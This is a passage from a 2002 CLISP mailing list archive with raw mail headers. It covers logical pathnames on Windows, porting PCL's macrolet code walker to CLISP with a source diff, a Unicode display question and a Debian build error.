which will define the following hosts: 1. "home" (where your files are, something like "c:\programs and settings\foo\bar\baz\whatever bill made it to be\") 2. "top" ("c:\") see > Can I somehow say, with CLISP (probe-file "clispsrc:src/foreign.d") > like I can with native OS pathnames on the Amiga and also with cmucl - > #+cmucl(ext:unix-naemstring x)? and still have (probe-file > "c:\\Progra~1\\foo.txt") work? obviously not. > Observe that > > (logical-pathname "c:/foo/doc/i.html") > #S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" "DOC") > :NAME "I" :TYPE "HTML" :VERSION NIL) > > (logical-pathname "c:foo/doc/i.html") > #S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO" "DOC") > :NAME "I" :TYPE "HTML" :VERSION NIL) > is just the other way round from parse-namestring for MS-DOS/Windows > C:/foo -> :absolute, C:foo -> :relative believe it or not, this is what the standard requires. note that the correct separator is ";", not "/" or "\". clisp supports the slashes only as a `courtesy'. I hope others will chime in... -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux You think Oedipus had a problem -- Adam was Eve's mother. From toy@rtp.ericsson.se Wed Dec 11 10:43:42 2002 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MBpd-0000oq-00 for ; Wed, 11 Dec 2002 10:43:41 -0800 Received: from mr5.exu.ericsson.se (mr5att.ericy.com [138.85.224.141]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id gBBIhZW27046 for ; Wed, 11 Dec 2002 12:43:35 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr5.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id gBBIhZW19599 for ; Wed, 11 Dec 2002 12:43:35 -0600 (CST) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id YD969DDM; Wed, 11 Dec 2002 12:43:34 -0600 Received: from b2b7_hp5.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.207]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id NAA25890 for ; Wed, 11 Dec 2002 13:43:34 -0500 (EST) Received: (from toy@localhost) by b2b7_hp5.rtp.ericsson.se (8.10.2+Sun/8.9.3) id gBBIhXD19406; Wed, 11 Dec 2002 13:43:34 -0500 (EST) X-Authentication-Warning: b2b7_hp5.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] macrolet walker? References: <4nznrck141.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nvg20jt0q.fsf@rtp.ericsson.se> Lines: 31 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 10:44:07 2002 X-Original-Date: 11 Dec 2002 13:43:33 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> CLISP has a code walker, of course, in src/init.lisp Sam> what exactly do you need? I don't understand this very well, but this is what the comments say: ;; CL-USER 1> (defmacro foo (x) ;; `(bar ,x)) ;; FOO ;; ;; CL-USER 2> (walker:walk-form '(macrolet ((bar (x) `(print ,x))) ;; (foo 3))) ;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X))) ;; (PRINT 3)) ;; ;; CL-USER 3> (walker:walk-form '(macrolet ((bar (x) `(print ,x))) ;; (macrolet ((baz (x) `(bar ,x))) ;; (baz 3)))) ;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X))) ;; (MACROLET ((BAZ (X) (LIST (QUOTE BAR) X))) ;; (PRINT 3))) So basically, it needs to walk the macrolet forms and replace the code with the macrolet expansions. CMUCL uses the code-walker from PCL to do this. Thanks, Ray From sds@gnu.org Wed Dec 11 12:23:32 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MDOC-000592-00 for ; Wed, 11 Dec 2002 12:23:28 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021211202317.SEPX24616.pop015.verizon.net@loiso.podval.org>; Wed, 11 Dec 2002 14:23:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBBKNJ9O003560; Wed, 11 Dec 2002 15:23:19 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBBKNIq2003556; Wed, 11 Dec 2002 15:23:18 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Raymond Toy Cc: CLISP Mailing List Subject: Re: [clisp-list] macrolet walker? References: <4nznrck141.fsf@rtp.ericsson.se> <4nvg20jt0q.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nvg20jt0q.fsf@rtp.ericsson.se> Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.32.163] at Wed, 11 Dec 2002 14:23:16 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 12:24:09 2002 X-Original-Date: 11 Dec 2002 15:23:18 -0500 > * In message <4nvg20jt0q.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] macrolet walker?" > * Sent on 11 Dec 2002 13:43:33 -0500 > * Honorable Raymond Toy writes: > > I don't understand this very well, but this is what the comments say: > > ;; CL-USER 1> (defmacro foo (x) > ;; `(bar ,x)) > ;; FOO > ;; > ;; CL-USER 2> (walker:walk-form '(macrolet ((bar (x) `(print ,x))) > ;; (foo 3))) > ;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X))) > ;; (PRINT 3)) > ;; > ;; CL-USER 3> (walker:walk-form '(macrolet ((bar (x) `(print ,x))) > ;; (macrolet ((baz (x) `(bar ,x))) > ;; (baz 3)))) > ;; (MACROLET ((BAR (X) (LIST (QUOTE PRINT) X))) > ;; (MACROLET ((BAZ (X) (LIST (QUOTE BAR) X))) > ;; (PRINT 3))) > > So basically, it needs to walk the macrolet forms and replace the code > with the macrolet expansions. CMUCL uses the code-walker from PCL to > do this. (let ((SYSTEM::*FENV* nil) (SYSTEM::*vENV* nil)) (sys::%expand-form '(macrolet ((bar (x) `(print ,x))) (macrolet ((baz (x) `(bar ,x))) (baz 3))))) ==> (PRINT 3) ; T the second value means that something has been changed. is this what you want? would it be useful to export this as, say EXT:EXPAND-FORM (or EXT:WALK-FORM, or ...)? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux He who laughs last thinks slowest. From russell_mcmanus@yahoo.com Wed Dec 11 12:24:57 2002 Received: from bgp485821bgs.summit01.nj.comcast.net ([68.37.179.230] helo=thelonious.dyndns.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18MDO9-00057Q-00 for ; Wed, 11 Dec 2002 12:23:25 -0800 Received: (from russe@localhost) by thelonious.dyndns.org (8.11.6/8.11.6) id gBBKOiD12339; Wed, 11 Dec 2002 15:24:44 -0500 (EST) X-Authentication-Warning: thelonious.dyndns.org: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] using logical-pathnames in CLISP References: <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de> From: Russell McManus In-Reply-To: Message-ID: <87r8coz4kz.fsf@thelonious.dyndns.org> Lines: 31 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 12:25:22 2002 X-Original-Date: 11 Dec 2002 15:24:44 -0500 Sam Steingold writes: > > * In message <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de> > > * On the subject of "[clisp-list] using logical-pathnames in CLISP" > > * Sent on Wed, 11 Dec 2002 18:00:07 +0100 > > * Honorable "Hoehle, Joerg-Cyril" writes: > > > > Can logical-pathnames nevertheless be used in CLISP with MS-Windows? > > It depends. > > First, note that logical pathnames do not mix well with non-logical > ones on woe32 (because of the "C:\" abomination you mentioned). > > Second, logical pathnames cannot work with "bad" filenames (containing > spaces, commas &c). > > So, if you are only using "good" filenames, you can enable this. I have found that logical pathnames are most useful when writing tools for system construction, not interacting with the outside world, for the reasons that Sam mentions. If you name your own source files such that they fit without lossage into a logical pathname, this will at least allow you to have portable "load" forms, defsystem's, etc. -russ From toy@rtp.ericsson.se Wed Dec 11 12:52:57 2002 Received: from imr1.ericy.com ([208.237.135.240]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MDqi-0005a9-00 for ; Wed, 11 Dec 2002 12:52:56 -0800 Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id gBBKqtd02300 for ; Wed, 11 Dec 2002 14:52:55 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr5.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id gBBKqsL12657 for ; Wed, 11 Dec 2002 14:52:54 -0600 (CST) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id YD969XF1; Wed, 11 Dec 2002 14:52:54 -0600 Received: from b2b7_hp5.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.207]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id PAA28898 for ; Wed, 11 Dec 2002 15:52:54 -0500 (EST) Received: (from toy@localhost) by b2b7_hp5.rtp.ericsson.se (8.10.2+Sun/8.9.3) id gBBKqrt21932; Wed, 11 Dec 2002 15:52:53 -0500 (EST) X-Authentication-Warning: b2b7_hp5.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] macrolet walker? References: <4nznrck141.fsf@rtp.ericsson.se> <4nvg20jt0q.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nr8cojn16.fsf@rtp.ericsson.se> Lines: 26 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 12:53:10 2002 X-Original-Date: 11 Dec 2002 15:52:53 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> (let ((SYSTEM::*FENV* nil) (SYSTEM::*vENV* nil)) Sam> (sys::%expand-form '(macrolet ((bar (x) `(print ,x))) Sam> (macrolet ((baz (x) `(bar ,x))) Sam> (baz 3))))) Sam> ==> Sam> (PRINT 3) ; Sam> T Sam> the second value means that something has been changed. Sam> is this what you want? I think this will do nicely. I'll have to test it out though to be sure. Sam> would it be useful to export this as, say EXT:EXPAND-FORM Sam> (or EXT:WALK-FORM, or ...)? ext:walk-form sounds nice. I notice that LW doesn't export their walker::walk-form. Neither does PCL. Thanks! Ray From haible@ilog.fr Wed Dec 11 13:34:29 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MEUo-0003E1-00 for ; Wed, 11 Dec 2002 13:34:22 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.6/8.12.6) with ESMTP id gBBLYCFn012760 for ; Wed, 11 Dec 2002 22:34:12 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id gBBLYAr28059; Wed, 11 Dec 2002 22:34:10 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id UAA31006; Wed, 11 Dec 2002 20:54:41 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15863.38913.622849.127204@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: macrolet walker? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 13:35:03 2002 X-Original-Date: Wed, 11 Dec 2002 20:54:41 +0100 (CET) Raymond Toy wrote: > Is there a code walker in clisp that can be used to walk through > macrolets? Series has support for a macrolet walker in LW and > CMUCL. Support for Clisp would be nice. > ... > CMUCL uses the code-walker from PCL to do this. Then why don't you use the port of PCL's code walker to clisp? Here are the modifications I made to it back in 1993. The *toplevel-environment* hack is probably not needed any more, as clisp's macroexpand function now accepts NIL as denoting the toplevel environment. Bruno *** pcl.orig/pcl/walk.lisp Mon Dec 21 22:24:06 1992 --- pcl.clisp/sept92/pcl/walk.lsp Mon Jun 7 02:14:35 1993 *************** *** 70,75 **** --- 70,76 ---- *variable-declarations* variable-declaration macroexpand-all + *toplevel-environment* )) *************** *** 622,627 **** --- 623,686 ---- );#+(or KCL IBCL) + ;;; + ;;; In CLISP Common Lisp, the macroexpansion environment has the form + ;;; NIL or #(sym1 def1 ... symn defn next-env) + ;;; where next-env is an macroexpansion environment of the same form. + ;;; A def entry herein is a cons (SYS::MACRO . macroexpansion-function) + ;;; for macros, and a symbol (a gensym in compiler, or NIL during + ;;; interpretation of LABELS) or a function object for functions. + ;;; + ;;; From 5.6.1993 on, this description holds only for the function + ;;; and macro environment. The entire macroexpansion environment is a + ;;; simple-vector of length 2 whose second component obeys the description + ;;; above. + ;;; + + #+CLISP + (progn + (defmacro with-augmented-environment + ((new-env old-env &key functions macros) &body body) + `(let ((,new-env (with-augmented-environment-internal + ,old-env ,functions ,macros + )) ) + ,@body + ) + ) + (defun with-augmented-environment-internal (env functions macros) + (#-have-symbol-macrolet identity + #+have-symbol-macrolet (lambda (new-env) (vector (svref env 0) new-env)) + (let* ((new-env (make-array (+ (* (+ (length functions) (length macros)) 2) 1))) + (i 0)) + (dolist (f functions) + (setf (svref new-env i) f) (incf i) + (setf (svref new-env i) #'unbound-lexical-function) (incf i) + ) + (dolist (m macros) + (setf (svref new-env i) (first m)) (incf i) + (setf (svref new-env i) (cons 'sys::macro (second m))) (incf i) + ) + (setf (svref new-env i) #-have-symbol-macrolet env + #+have-symbol-macrolet (svref env 1) + ) + new-env + ) ) ) + (defun environment-function (env fn) + #+have-symbol-macrolet (setq env (svref env 1)) + (let ((h (sys::fenv-assoc fn env))) + (or (eq h 'T) ; fenv-assoc didn't find anything + (sys::closurep h) (symbolp h) + ) ) ) + (defun environment-macro (env macro) + #+have-symbol-macrolet (setq env (svref env 1)) + (let ((h (sys::fenv-assoc macro env))) + (if (and (consp h) (eq (car h) 'sys::macro)) + (cdr h) ; macroexpansion-function + nil ; anything + ) ) ) + );#+CLISP + + ;;; --- TI Explorer -- ;;; An environment is a two element list, whose car we can ignore and *************** *** 1125,1130 **** --- 1184,1192 ---- (get-implementation-dependent-walker-template x))) ((and (listp x) (eq (car x) 'lambda)) '(lambda repeat (eval))) + #+(or cmu CLISP) ; #+setf is defined later, in macros.lsp + ((and (listp x) (eq (car x) 'setf)) + nil) (t (error "Can't get template for ~S" x)))) *************** *** 1214,1225 **** (defvar walk-form-expand-macros-p nil) ! (defun macroexpand-all (form &optional environment) (let ((walk-form-expand-macros-p t)) (walk-form form environment))) (defun WALK-FORM (form ! &optional environment (walk-function #'(lambda (subform context env) (declare (ignore context env)) --- 1276,1292 ---- (defvar walk-form-expand-macros-p nil) ! (defconstant *toplevel-environment* ! #+(and CLISP have-symbol-macrolet) (vector nil nil) ! #-(and CLISP have-symbol-macrolet) nil ! ) ! ! (defun macroexpand-all (form &optional (environment *toplevel-environment*)) (let ((walk-form-expand-macros-p t)) (walk-form form environment))) (defun WALK-FORM (form ! &optional (environment *toplevel-environment*) (walk-function #'(lambda (subform context env) (declare (ignore context env)) *************** *** 1248,1254 **** ;;; (defun NESTED-WALK-FORM (whole form ! &optional environment (walk-function #'(lambda (subform context env) (declare (ignore context env)) --- 1315,1321 ---- ;;; (defun NESTED-WALK-FORM (whole form ! &optional (environment *toplevel-environment*) (walk-function #'(lambda (subform context env) (declare (ignore context env)) *************** *** 1842,1848 **** (defun walk-macrolet (form context old-env) (walker-environment-bind (macro-env ! nil :walk-function (env-walk-function old-env)) (labels ((walk-definitions (definitions) (and definitions --- 1909,1915 ---- (defun walk-macrolet (form context old-env) (walker-environment-bind (macro-env ! *toplevel-environment* :walk-function (env-walk-function old-env)) (labels ((walk-definitions (definitions) (and definitions *************** *** 1971,1977 **** (terpri) (terpri) (let ((copy-of-form (copy-tree form)) ! (result (walk-form form nil #'(lambda (x y env) (format t "~&Form: ~S ~3T Context: ~A" x y) (when (symbolp x) --- 2038,2044 ---- (terpri) (terpri) (let ((copy-of-form (copy-tree form)) ! (result (walk-form form *toplevel-environment* #'(lambda (x y env) (format t "~&Form: ~S ~3T Context: ~A" x y) (when (symbolp x) *************** *** 2165,2171 **** (let ((the-lexical-variables ())) (walk-form '(let ((a 1) (b 2)) #'(lambda (x) (list a b x y))) ! () #'(lambda (form context env) (when (and (symbolp form) (variable-lexical-p form env)) --- 2232,2238 ---- (let ((the-lexical-variables ())) (walk-form '(let ((a 1) (b 2)) #'(lambda (x) (list a b x y))) ! *toplevel-environment* #'(lambda (form context env) (when (and (symbolp form) (variable-lexical-p form env)) From haible@ilog.fr Wed Dec 11 13:34:33 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MEUt-0003Dq-00 for ; Wed, 11 Dec 2002 13:34:27 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.6/8.12.6) with ESMTP id gBBLYAFn012757 for ; Wed, 11 Dec 2002 22:34:10 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id gBBLY9r28057; Wed, 11 Dec 2002 22:34:09 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA31122; Wed, 11 Dec 2002 21:04:30 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15863.39501.57658.472892@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: Unicode question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 13:35:04 2002 X-Original-Date: Wed, 11 Dec 2002 21:04:29 +0100 (CET) > For > example I want (setq x ') to render correctly when entered > from the keyboard, and when read from a dribbled file and printed. Is > this possible? As Sam said, it's a feature of the terminal emulator. On Unix, clisp has no problems with it. You have a screenshot at http://www.haible.de/bruno/fibjap-xterm.gif http://www.haible.de/bruno/fibjap-emacs.gif Bruno From Andrej_Bondar@gmx.net Wed Dec 11 13:41:03 2002 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MEbF-0001Z8-00 for ; Wed, 11 Dec 2002 13:41:01 -0800 Received: (qmail 26134 invoked by uid 0); 11 Dec 2002 21:40:53 -0000 Received: from p5080a3de.dip0.t-ipconnect.de (HELO gmx.net) (80.128.163.222) by mail.gmx.net (mp018-rz3) with SMTP; 11 Dec 2002 21:40:53 -0000 Message-ID: <3DF7B0EE.5010105@gmx.net> From: Andrej Bondar User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.6) Gecko/20011120 X-Accept-Language: en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=windows-1251; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] debian compiling error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 13:42:02 2002 X-Original-Date: Wed, 11 Dec 2002 22:41:02 +0100 I hame compiling error in debian error message: in stream.o undefined reference to 'tgogto' I have to take ncurse but not termcap ./makemake --with_termcap_ncurses dont work what's now ???? thanks From kmorgan@inter-tax.com Wed Dec 11 13:51:02 2002 Received: from picasso.inter-tax.com ([204.221.208.211] helo=inter-tax.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MEku-0002gl-00 for ; Wed, 11 Dec 2002 13:51:01 -0800 Received: from edison ([64.247.204.2]) by inter-tax.com ([204.221.208.211]) with SMTP (MDaemon.PRO.v6.5.2.R) for ; Wed, 11 Dec 2002 15:51:12 -0600 From: "Keith Morgan" To: Message-ID: <009601c2a15f$5b751500$3b01a8c0@intertax.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal In-reply-to: <15863.39501.57658.472892@honolulu.ilog.fr> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-MDRemoteIP: 64.247.204.2 X-Return-Path: kmorgan@inter-tax.com X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Unicode question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 13:52:07 2002 X-Original-Date: Wed, 11 Dec 2002 15:50:44 -0600 > From: clisp-list-admin@lists.sourceforge.net > [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of > Bruno Haible > Sent: Wednesday, December 11, 2002 2:04 PM > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] Re: Unicode question > > For > > example I want (setq x ') to render correctly > when entered > > from the keyboard, and when read from a dribbled file and > printed. Is > > this possible? > > As Sam said, it's a feature of the terminal emulator. On > Unix, clisp has no problems with it. You have a screenshot at > http://www.haible.de/bruno/fibjap-xterm.gif > http://www.haible.de/bruno/fibjap-emacs.gif > > Bruno > OK. Clearly it is a Windows-only problem. Any thoughts on the modifications required to make it work on Windows? -Keith From toy@rtp.ericsson.se Wed Dec 11 15:05:14 2002 Received: from imr1.ericy.com ([208.237.135.240]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MFuk-0001CF-00 for ; Wed, 11 Dec 2002 15:05:14 -0800 Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id gBBN5Cd26039; Wed, 11 Dec 2002 17:05:12 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr5.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id gBBN5C800415; Wed, 11 Dec 2002 17:05:12 -0600 (CST) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id YD960HZA; Wed, 11 Dec 2002 17:05:12 -0600 Received: from b2b7_hp5.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.207]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id SAA02355; Wed, 11 Dec 2002 18:05:11 -0500 (EST) Received: (from toy@localhost) by b2b7_hp5.rtp.ericsson.se (8.10.2+Sun/8.9.3) id gBBN5BF24127; Wed, 11 Dec 2002 18:05:11 -0500 (EST) X-Authentication-Warning: b2b7_hp5.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: macrolet walker? References: <15863.38913.622849.127204@honolulu.ilog.fr> From: Raymond Toy In-Reply-To: <15863.38913.622849.127204@honolulu.ilog.fr> Message-ID: <4nel8ojgwp.fsf@rtp.ericsson.se> Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 15:06:02 2002 X-Original-Date: 11 Dec 2002 18:05:10 -0500 >>>>> "Bruno" == Bruno Haible writes: Bruno> Raymond Toy wrote: >> Is there a code walker in clisp that can be used to walk through >> macrolets? Series has support for a macrolet walker in LW and >> CMUCL. Support for Clisp would be nice. >> ... >> CMUCL uses the code-walker from PCL to do this. Bruno> Then why don't you use the port of PCL's code walker to clisp? I don't because, mostly, I don't want to maintain it as a part of series. CMUCL comes with PCL, so I don't have to maintain it. Ray From sds@gnu.org Wed Dec 11 15:40:30 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MGSs-0000Mw-00 for ; Wed, 11 Dec 2002 15:40:30 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021211234020.TZBQ24616.pop015.verizon.net@loiso.podval.org>; Wed, 11 Dec 2002 17:40:20 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBBNeP9O003972; Wed, 11 Dec 2002 18:40:25 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBBNeOgi003968; Wed, 11 Dec 2002 18:40:24 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Andrej Bondar Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] debian compiling error References: <3DF7B0EE.5010105@gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DF7B0EE.5010105@gmx.net> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.32.163] at Wed, 11 Dec 2002 17:40:20 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net 